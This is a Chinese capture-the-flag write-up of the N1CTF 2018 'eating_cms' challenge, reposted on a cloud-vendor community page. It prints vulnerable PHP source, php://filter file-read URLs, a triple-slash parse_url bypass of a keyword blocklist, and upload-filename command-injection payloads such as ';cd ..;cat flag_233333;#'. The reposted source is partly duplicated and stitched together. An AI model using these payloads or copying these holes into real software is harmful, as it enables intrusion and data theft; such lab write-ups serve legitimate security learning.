[N1CTF 2018]eating_cms_

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: [N1CTF 2018]eating_cms_

信息收集

进入即是登录页面,抓包一看应该是SQL注入,但是空格、%、|等等啥的都被waf了,不太好注入,先信息收集一波

花一分钟扫下目录,发现一个viminfo和register.php

Viminfo文件是Vim用来记录退出时的状态

1. 200  /index.php
2. 200  /login.php
3. 200  /register.php
4. 200  /.viminfo
5. 403  /.htaccess
6. 
7. vim updateadmin.php
8. vim info.php
9. vim login.php

发现一个info.php和updateadmin.php,访问的回显都是you can not visit it directly,我们先注册账号

注册admin时显示    Username has been registered!    

查看URL似乎是文件包含?用伪协议读取下user源码看看

/user.php?page=php://filter/convert.base64-encode/resource=user

代码审计

1. <?php
2. require_once("function.php");
3. if( !isset( $_SESSION['user'] )){
4. Header("Location: index.php");
5. 
6. }
7. if($_SESSION['isadmin'] === '1'){
8. $oper_you_can_do = $OPERATE_admin;
9. }else{
10. $oper_you_can_do = $OPERATE;
11. }
12. //die($_SESSION['isadmin']);
13. if($_SESSION['isadmin'] === '1'){
14. if(!isset($_GET['page']) || $_GET['page'] === ''){
15. $page = 'info';
16.     }else {
17. $page = $_GET['page'];
18.     }
19. }
20. else{
21. if(!isset($_GET['page'])|| $_GET['page'] === ''){
22. $page = 'guest';
23.     }else {
24. $page = $_GET['page'];
25. if($page === 'info')
26.         {
27. //            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
28. Header("Location: user.php?page=guest");
29.         }
30.     }
31. }
32. filter_directory();
33. //if(!in_array($page,$oper_you_can_do)){
34. //    $page = 'info';
35. //}
36. include "$page.php";
37. ?>

/user.php?page=php://filter/convert.base64-encode/resource=function

1. <?php
2. require_once("function.php");
3. if( !isset( $_SESSION['user'] )){
4. Header("Location: index.php");
5. 
6. }
7. if($_SESSION['isadmin'] === '1'){
8. $oper_you_can_do = $OPERATE_admin;
9. }else{
10. $oper_you_can_do = $OPERATE;
11. }
12. //die($_SESSION['isadmin']);
13. if($_SESSION['isadmin'] === '1'){
14. if(!isset($_GET['page']) || $_GET['page'] === ''){
15. $page = 'info';
16.     }else {
17. $page = $_GET['page'];
18.     }
19. }
20. else{
21. if(!isset($_GET['page'])|| $_GET['page'] === ''){
22. $page = 'guest';
23.     }else {
24. $page = $_GET['page'];
25. if($page === 'info')
26.         {
27. //            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script><?php
28. session_start();
29. require_once "config.php";
30. function Hacker()
31. {
32. Header("Location: hacker.php");
33. die();
34. }
35. 
36. 
37. function filter_directory()
38. {
39. $keywords = ["flag","manage","ffffllllaaaaggg"];
40. $uri = parse_url($_SERVER["REQUEST_URI"]);
41. parse_str($uri['query'], $query);
42. //    var_dump($query);
43. //    die();
44. foreach($keywords as $token)
45.     {
46. foreach($query as $k => $v)
47.         {
48. if (stristr($k, $token))
49. hacker();
50. if (stristr($v, $token))
51. hacker();
52.         }
53.     }
54. }
55. 
56. function filter_directory_guest()
57. {
58. $keywords = ["flag","manage","ffffllllaaaaggg","info"];
59. $uri = parse_url($_SERVER["REQUEST_URI"]);
60. parse_str($uri['query'], $query);
61. //    var_dump($query);
62. //    die();
63. foreach($keywords as $token)
64.     {
65. foreach($query as $k => $v)
66.         {
67. if (stristr($k, $token))
68. hacker();
69. if (stristr($v, $token))
70. hacker();
71.         }
72.     }
73. }
74. 
75. function Filter($string)
76. {
77. global $mysqli;
78. $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
79. $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
80. for ($i = 0; $i < strlen($string); $i++) {
81. if (strpos("$whitelist", $string[$i]) === false) {
82. Hacker();
83.         }
84.     }
85. if (preg_match("/$blacklist/is", $string)) {
86. Hacker();
87.     }
88. if (is_string($string)) {
89. return $mysqli->real_escape_string($string);
90.     } else {
91. return "";
92.     }
93. }
94. 
95. function sql_query($sql_query)
96. {
97. global $mysqli;
98. $res = $mysqli->query($sql_query);
99. return $res;
100. }
101. 
102. function login($user, $pass)
103. {
104. $user = Filter($user);
105. $pass = md5($pass);
106. $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
107. echo $sql;
108. $res = sql_query($sql);
109. //    var_dump($res);
110. //    die();
111. if ($res->num_rows) {
112. $data = $res->fetch_array();
113. $_SESSION['user'] = $data[username_which_you_do_not_know];
114. $_SESSION['login'] = 1;
115. $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
116. return true;
117.     } else {
118. return false;
119.     }
120. return;
121. }
122. 
123. function updateadmin($level,$user)
124. {
125. $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
126. echo $sql;
127. $res = sql_query($sql);
128. //    var_dump($res);
129. //    die();
130. //    die($res);
131. if ($res == 1) {
132. return true;
133.     } else {
134. return false;
135.     }
136. return;
137. }
138. 
139. function register($user, $pass)
140. {
141. global $mysqli;
142. $user = Filter($user);
143. $pass = md5($pass);
144. $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
145. $res = sql_query($sql);
146. return $mysqli->insert_id;
147. }
148. 
149. function logout()
150. {
151. session_destroy();
152. Header("Location: index.php");
153. }
154. 
155. ?>

/user.php?page=php://filter/convert.base64-encode/resource=config

1. <?php
2. require_once("function.php");
3. if( !isset( $_SESSION['user'] )){
4. Header("Location: index.php");
5. 
6. }
7. if($_SESSION['isadmin'] === '1'){
8. $oper_you_can_do = $OPERATE_admin;
9. }else{
10. $oper_you_can_do = $OPERATE;
11. }
12. //die($_SESSION['isadmin']);
13. if($_SESSION['isadmin'] === '1'){
14. if(!isset($_GET['page']) || $_GET['page'] === ''){
15. $page = 'info';
16.     }else {
17. $page = $_GET['page'];
18.     }
19. }
20. else{
21. if(!isset($_GET['page'])|| $_GET['page'] === ''){
22. $page = 'guest';
23.     }else {
24. $page = $_GET['page'];
25. if($page === 'info')
26.         {
27. //            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script><?php
28. session_start();
29. require_once "config.php";
30. function Hacker()
31. {
32. Header("Location: hacker.php");
33. die();
34. }
35. 
36. 
37. function filter_directory()
38. {
39. $keywords = ["flag","manage","ffffllllaaaaggg"];
40. $uri = parse_url($_SERVER["REQUEST_URI"]);
41. parse_str($uri['query'], $query);
42. //    var_dump($query);
43. //    die();
44. foreach($keywords as $token)
45.     {
46. foreach($query as $k => $v)
47.         {
48. if (stristr($k, $token))
49. hacker();
50. if (stristr($v, $token))
51. hacker();
52.         }
53.     }
54. }
55. 
56. function filter_directory_guest()
57. {
58. $keywords = ["flag","manage","ffffllllaaaaggg","info"];
59. $uri = parse_url($_SERVER["REQUEST_URI"]);
60. parse_str($uri['query'], $query);
61. //    var_dump($query);
62. //    die();
63. foreach($keywords as $token)
64.     {
65. foreach($query as $k => $v)
66.         {
67. if (stristr($k, $token))
68. hacker();
69. if (stristr($v, $token))
70. hacker();
71.         }
72.     }
73. }
74. 
75. function Filter($string)
76. {
77. global $mysqli;
78. $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
79. $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
80. for ($i = 0; $i < strlen($string); $i++) {
81. if (strpos("$whitelist", $string[$i]) === false) {
82. Hacker();
83.         }
84.     }
85. if (preg_match("/$blacklist/is", $string)) {
86. Hacker();
87.     }
88. if (is_string($string)) {
89. return $mysqli->real_escape_string($string);
90.     } else {
91. return "";
92.     }
93. }
94. 
95. function sql_query($sql_query)
96. {
97. global $mysqli;
98. $res = $mysqli->query($sql_query);
99. return $res;
100. }
101. 
102. function login($user, $pass)
103. {
104. $user = Filter($user);
105. $pass = md5($pass);
106. $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
107. echo $sql;
108. $res = sql_query($sql);
109. //    var_dump($res);
110. //    die();
111. if ($res->num_rows) {
112. $data = $res->fetch_array();
113. $_SESSION['user'] = $data[username_which_you_do_not_know];
114. $_SESSION['login'] = 1;
115. $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
116. return true;
117.     } else {
118. return false;
119.     }
120. return;
121. }
122. 
123. function updateadmin($level,$user)
124. {
125. $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
126. echo $sql;
127. $res = sql_query($sql);
128. //    var_dump($res);
129. //    die();
130. //    die($res);
131. if ($res == 1) {
132. return true;
133.     } else {
134. return false;
135.     }
136. return;
137. }
138. 
139. function register($user, $pass)
140. {
141. global $mysqli;
142. $user = Filter($user);
143. $pass = md5($pass);
144. $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
145. $res = sql_query($sql);
146. return $mysqli->insert_id;
147. }
148. 
149. function logout()
150. {
151. session_destroy();
152. Header("Location: index.php");
153. }
154. 
155. ?>
156. <?php
157. error_reporting(E_ERROR | E_WARNING | E_PARSE);
158. define(BASEDIR, "/var/www/html/");
159. define(FLAG_SIG, 1);
160. $OPERATE = array('userinfo','upload','search');
161. $OPERATE_admin = array('userinfo','upload','search','manage');
162. $DBHOST = "localhost";
163. $DBUSER = "root";
164. $DBPASS = "Nu1LCTF2018!@#qwe";
165. //$DBPASS = "";
166. $DBNAME = "N1CTF";
167. $mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
168. if(mysqli_connect_errno()){
169. echo "no sql connection".mysqli_connect_error();
170. $mysqli=null;
171. die();
172. }
173. ?>

$keywords = ["flag","manage","ffffllllaaaaggg"]这三个页面可能有重要信息

parse_url解析漏洞

1. $keywords = ["flag","manage","ffffllllaaaaggg"];
2. $uri = parse_url($_SERVER["REQUEST_URI"]);
3. parse_str($uri['query'], $query);

这里看下处理的逻辑

1. <?php
2. $a="http://78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn:81/user.php?page=guest";
3. $uri = parse_url($a);
4. print_r($uri);
5. //parse_str($uri[''], $query);
6. ?>

Array

(

   [scheme] => http

   [host] => 78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn

   [port] => 81

   [path] => /user.php

   [query] => page=guest

)

1. <?php
2. $a="http://78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn:81/user.php?page=guest";
3. $uri = parse_url($a);
4. //print_r($uri);
5. parse_str($uri['query'],$query);
6. print_r($query);
7. //parse_str($uri[''], $query);
8. ?>

Array

(

   [page] => guest

)

我们这里查到PHP版本是5.5.9

这里利用parse_url解析漏洞

///user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
1. <?php
2. if (FLAG_SIG != 1){
3. die("you can not visit it directly");
4. }else {
5. echo "you can find sth in m4aaannngggeee";
6. }
7. ?>
///user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee
1. <?php
2. if (FLAG_SIG != 1){
3. die("you can not visit it directly");
4. }
5. include "templates/upload.html";
6. ?>

尝试上传文件,上传失败。发现/templates/upllloadddd.php

读upllloadddd的源码

1. <?php
2. $allowtype = array("gif","png","jpg");
3. $size = 10000000;
4. $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
5. $filename = $_FILES['file']['name'];
6. if(is_uploaded_file($_FILES['file']['tmp_name'])){
7. if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
8. die("error:can not move");
9.     }
10. }else{
11. die("error:not an upload fileï¼");
12. }
13. $newfile = $path.$filename;
14. echo "file upload success<br />";
15. echo $filename;
16. $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
17. echo "<img src='data:image/png;base64,".$picdata."'></img>";
18. if($_FILES['file']['error']>0){
19. unlink($newfile);
20. die("Upload file error: ");
21. }
22. $ext = array_pop(explode(".",$_FILES['file']['name']));
23. if(!in_array($ext,$allowtype)){
24. unlink($newfile);
25. }
26. ?>

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

现在需要找到上传点,莫非是之前的user.php?page=updateadmin吗?发现也没有上传处,最后看wp发现上传点在/user.php?page=m4aaannngggeee,看两者的页面貌似是继承来的?

貌似不能加/

filename=;cd ..;ls ;#

;cd ..;cat flag_233333;#

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
数据采集 生物认证 数据库
CMS指纹识别
CMS指纹识别
522 0
CMS指纹识别
|
7天前
|
开发框架 监控 Kubernetes
CTF本地靶场搭建——GZ:CTF基础使用
GZ::CTF是一个基于ASP.NET Core的开源CTF竞赛平台,支持Docker或K8s容器部署,提供静态和动态题目类型,包括静态附件、动态附件、静态容器和动态容器,具备动态分值功能,如三血奖励和动态flag作弊检测。平台还具有实时通知、邮件验证、用户权限管理、Writeup收集、流量代理转发等功能。此外,它包含比赛管理、队伍管理、用户管理等多个管理模块,适合举办和参与网络安全竞赛。
|
22天前
|
算法 Java UED
【五一创作】值得一看的JVM垃圾收集器
【五一创作】值得一看的JVM垃圾收集器
|
9月前
|
安全
CTF竞赛 -- 堆漏洞利用
CTF竞赛 -- 堆漏洞利用
105 0
|
11月前
|
算法 Java 测试技术
CMS GC已成过去式
CMS,全称“ Concurrent-Mark-Sweep”,是一款并发的、使用标记-清除算法的垃圾回收器,如果老年代采用CMS垃圾回收器,则需要在应用服务Java虚拟机启动参数中配置关键字:-&quot;XX:+UseConcMarkSweepGC&quot;。
81 0
|
SQL 安全
某CMS代码审计(上)
某CMS代码审计(上)
77 0
某CMS代码审计(上)
|
存储 安全 Shell
国外某cms代码审计实战
国外某cms代码审计实战
87 0
|
算法 安全 Java
JVM - CMS深度剖析
JVM - CMS深度剖析
155 0
|
机器学习/深度学习 安全 网络安全
CTF-PWN资料与资源
CTF-PWN资料与资源
|
存储 SQL 安全
记录一次代审实战,熊海CMS代审日记
1.拿到源码并进行白盒测试 白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。 白盒测试是一种测试用例设计方法,盒子指的是被测试的软件,白盒指的是盒子是可视的,即清楚盒子内部的东西以及里面是如何运作的。 "白盒"法全面了解程序内部逻辑结构、对所有逻辑路径进行测试。 "白盒"法是穷举路径测试。
78 0
记录一次代审实战,熊海CMS代审日记